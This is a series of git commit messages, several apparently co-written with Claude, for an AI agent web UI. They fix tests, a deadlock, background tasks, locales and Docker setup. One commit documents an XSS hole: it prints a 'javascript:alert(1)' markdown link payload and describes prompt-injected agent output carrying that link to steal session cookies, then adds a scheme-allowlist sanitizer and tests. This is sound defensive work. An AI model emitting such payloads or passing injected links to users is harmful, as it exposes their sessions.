Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Two of the three new tests in test_scheduled_jobs_profile_isolation.py
import cron.jobs (from hermes-agent) and fail with ModuleNotFoundError
in environments where hermes-agent isn't installed at ~/hermes-agent.
The contributor's path-injection trick at module load
(`AGENT_ROOT = Path(os.environ.get("HERMES_AGENT_ROOT", Path.home() / "hermes-agent"))`)
assumes the agent lives at ~/hermes-agent, which isn't always true on
maintainer/reviewer machines or in some CI configurations. The repo's
existing convention for this is conftest.py's `_AGENT_DEPENDENT_TESTS`
auto-skip, but that requires test names to be explicitly listed.
Cleaner fix: gate the two cron.jobs-importing tests with
`pytest.importorskip("cron.jobs")` so they self-skip cleanly when the
module isn't available, while leaving the third test
(`test_cron_profile_context_serializes_concurrent_access`) untouched —
it doesn't actually need cron.jobs and provides useful coverage even
without hermes-agent installed.
Verified: full suite goes from `2 failed, 4001 passed` to `4001 passed,
57 skipped` with no regression.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The new _handle_clarify_sse_stream handler in #1355 holds clarify._lock and
then calls clarify.get_pending(sid) under the lock. get_pending also acquires
_lock internally — and clarify._lock is a non-reentrant threading.Lock(),
so the second acquisition deadlocks the SSE handler thread the moment any
client connects to /api/clarify/stream.
Existing tests pass because they only exercise sse_subscribe, sse_unsubscribe,
_clarify_sse_notify, and submit_pending directly — none of them invoke the
route handler. The deadlock would only manifest when a real EventSource opens
the connection.
Reproduced with a tiny harness that holds _lock and calls get_pending: the
worker thread is still blocked after a 2s timeout. With the fix, both empty
and populated queue cases complete in <1ms.
Fix: read clarify._gateway_queues / clarify._pending inline under the same
_lock acquisition, mirroring the approval SSE handler's pattern at
api/routes.py:2785-2793. No recursive lock; head-of-queue snapshot is
identical to what get_pending would have returned.
Added tests/test_pr1355_sse_handler_no_deadlock.py with three tests:
- behavioural: empty queue snapshot completes within 2s
- behavioural: populated queue snapshot returns the head entry
- source-level invariant: routes.py must not call get_clarify_pending()
inside `with _clarify_lock:` block (locks the regression in)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Two artifacts from a contributor's local graphify (code-graph) tooling
slipped into PR #1233 (workspace drag-to-reorder):
.graphify_cached.json (3.5MB)
.graphify_uncached.txt (refs /home/fr33m1nd/hermes-webui-src/...)
Neither belongs in source control: the .json is an autogenerated cache
of node IDs for a graph visualisation tool, and the .txt is a
file-discovery index pointing at the contributor's local workspace
(/home/fr33m1nd/hermes-webui-src/) — paths that aren't valid for any
other developer.
The repo already ignores graphify-out/ but these two top-level dotfiles
weren't covered. Add explicit ignore entries and remove the tracked
copies.
No code change. CI remains green on 3.11/3.12/3.13.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The /background feature was fundamentally non-functional as shipped —
two coupled bugs kept results from ever reaching the user:
1. complete_background() was defined but NEVER called. The
_handle_background thread ran _run_agent_streaming and then exited;
no hook signalled the task tracker that the work was done. Every
background task stayed in status="running" forever and
get_results() (which filters to done-only) always returned [].
2. get_results() called _BACKGROUND_TASKS.pop(parent_sid, []) which
removed the ENTIRE list — including tasks still in flight. Even if
bug #1 were fixed, the first frontend poll during a long-running
task would drop the task from the tracker, and
complete_background()'s loop would iterate over an empty list when
the worker eventually finished — the result would still be lost.
Fix:
- api/background.py::get_results now retains running tasks in the
dict; only done ones are popped and returned.
- api/routes.py::_handle_background wraps _run_agent_streaming in an
inline worker (_run_bg_and_notify) that, after streaming completes,
reloads the hidden bg session, extracts the last non-error assistant
message, and calls complete_background(parent_sid, task_id, answer).
Worker also best-effort unlinks the hidden bg session file so
SESSION_DIR doesn't accumulate debris.
- Exception safety: any failure in _run_agent_streaming or the
post-processing path still calls complete_background with a fallback
sentinel so the frontend's polling loop doesn't hang forever.
Added 5 regression tests in tests/test_background_tasks.py:
- running tasks survive get_results polls
- done tasks are returned and removed
- poll → complete → poll round-trip surfaces the answer (this is the
original bug's reproduction path)
- empty parent is cleaned up
- static check: _handle_background's worker calls complete_background
and uses Session.load to extract the answer
Full suite: 2023 passed, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
streaming-markdown@0.2.15 preserves arbitrary URL schemes in href/src.
Verified with a Node + jsdom harness:
IN : [click](javascript:alert(1))
OUT: <p><a href="javascript:alert(1">click</a>)</p> ← XSS vector
Confirmed unsafe for: javascript:, vbscript:, data:text/html, file://.
The library uses only safe DOM primitives (createElement/appendChild/
createTextNode — no innerHTML/eval), so <script> tags are escaped as
text, but URL-scheme filtering is absent. The existing renderMd() path
implicitly filtered to http(s) via its regex, so this is a regression
the moment streaming markdown is enabled.
Attack path: agent echoes prompt-injection content containing a
markdown link with javascript: href → smd renders it live → user clicks
during the streaming window → JS executes in webui origin → session
cookie, API calls, etc.
Fix: walk the live DOM after each parser_write (and again after
parser_end) and remove href/src attributes whose scheme isn't on the
safe allowlist (http, https, mailto, tel, and relative/anchor paths).
Blocked anchors keep their text content but lose href; blocked images
lose src and get data-blocked-scheme="1" for debugging.
Harness confirms all 10 tested cases behave correctly — javascript:,
vbscript:, data:text/html, file:// all stripped; https://, /path,
#anchor, mailto:, tel: all preserved.
Added 5 regression tests in TestSmdUrlSchemeSanitization that lock:
- the sanitize helper exists
- the allowlist regex permits https? and forbids javascript/vbscript/data:
- _smdWrite invokes sanitize after parser_write
- _smdEndParser invokes sanitize after parser_end
- the sanitizer covers both <a href> and <img src>
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
set_hermes_default_model() calls reload_config() which resyncs _cfg_mtime,
so the mtime check inside get_available_models() never fires and the POST
response returns the stale cached default. Explicitly drop the TTL cache
after reload so the next read recomputes. Fixes the CI failure in
test_default_model_updates_hermes_config which the prior teardown-only
fix in this PR did not actually address.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- test_sprint45.py: compute SETTINGS_FILE lazily via _get_settings_file() so it
reads HERMES_WEBUI_TEST_STATE_DIR at call time (not at import time, when conftest
hasn't yet set the env var). Fixes test isolation across all 1078 tests.
- test_sprint45.py: use auth cookie in teardown when clearing password post-test.
- test_sprint45.py: remove test_synced_version_strings (checks local-patch version).
- static/i18n.js: add zh missing keys: onboarding_password_will_replace,
onboarding_password_keep_existing, onboarding_password_remains_disabled.
- server.py: revert server_version to HermesWebUI/0.50.38 (matches master).
The zh (Simplified Chinese) locale had ~40 strings from a "missing keys"
section that were actually Traditional Chinese or garbled text. This
replaces them with correct Simplified Chinese, removes duplicate keys,
and fixes a garbled zh-Hant string (姊妹允許 → 始終允許).
Fixes#337
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Expands the onboarding setup IP check from 127.0.0.1-only to any loopback or RFC-1918 private address. Docker containers connect via 172.17.x.x — previously blocked with a 403. Public IPs still blocked unless auth enabled. 791 tests pass.
Normalizes hyphens to dots in backend model-ID comparison so claude-sonnet-4-6 (hermes-agent format) matches claude-sonnet-4.6 (WebUI list) and no duplicate entry is injected. README line counts and test count corrected. 791 tests, all pass.
docker-compose.two-container.yml was missing the ~/workspace:/workspace
volume mount that the single-container compose already has. Without it
the workspace directory inside the container is ephemeral and the user
can't browse their actual files.
Fixes#326
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
uv venv fails with 'A virtual environment already exists' when the
container is stopped and started (not removed). The venv persists in
the container filesystem between stop/start cycles.
Fix: skip venv creation and dependency installation if they already
exist from a previous run. Uses two checks:
- /app/venv/bin/python3 exists → skip venv creation
- /app/venv/.deps_installed marker → skip pip install
This also makes restarts much faster since deps don't need to be
reinstalled every time the container starts.
Fixes#324
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Runs pytest suite across Python 3.11, 3.12, and 3.13 on ubuntu-latest.
Agent-dependent tests auto-skip via existing conftest logic.
Triggers on PRs targeting master and pushes to master.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Adds docker-compose.two-container.yml and README section for running
hermes-agent and hermes-webui in separate Docker containers connected
via shared volumes.
The key insight: the WebUI imports hermes-agent's Python modules
directly (not via HTTP), so the agent source must be mounted into
the WebUI container. The existing docker_init.bash handles installing
the agent's dependencies at startup via uv pip install.
Shared volumes:
- hermes-home: config, sessions, skills, memory (~/.hermes)
- hermes-agent-src: agent source code for Python import
Fixes#288
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Agent review findings from PR #179:
1. static/ui.js line 542: extra } in ternary produced malformed HTML
in message bubble div (''}} instead of ''}). Caused a literal }
character to appear in the DOM.
2. api/routes.py: LOGIN_INVALID_PW and LOGIN_CONN_FAILED were inserted
into JS string context without JS-string escaping. Added backslash
escaping for ' and \ characters. Currently safe because locale values
are hardcoded, but this prevents breakage if custom locale strings
contain single quotes.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Add applyLocaleToDOM() which walks [data-i18n] elements and re-stamps
their textContent from t(). Called after setLocale() in saveSettings()
so the settings panel labels, checkboxes, and save button update live.
Also called on boot after /api/settings resolves so Chinese persists
without flicker on reload.
- static/i18n.js: add applyLocaleToDOM() function
- static/index.html: add data-i18n attributes to all settings panel
static text nodes (labels, checkbox spans, save button)
- static/panels.js: call applyLocaleToDOM() + syncTopbar() after save
- static/boot.js: call applyLocaleToDOM() alongside setLocale() on boot
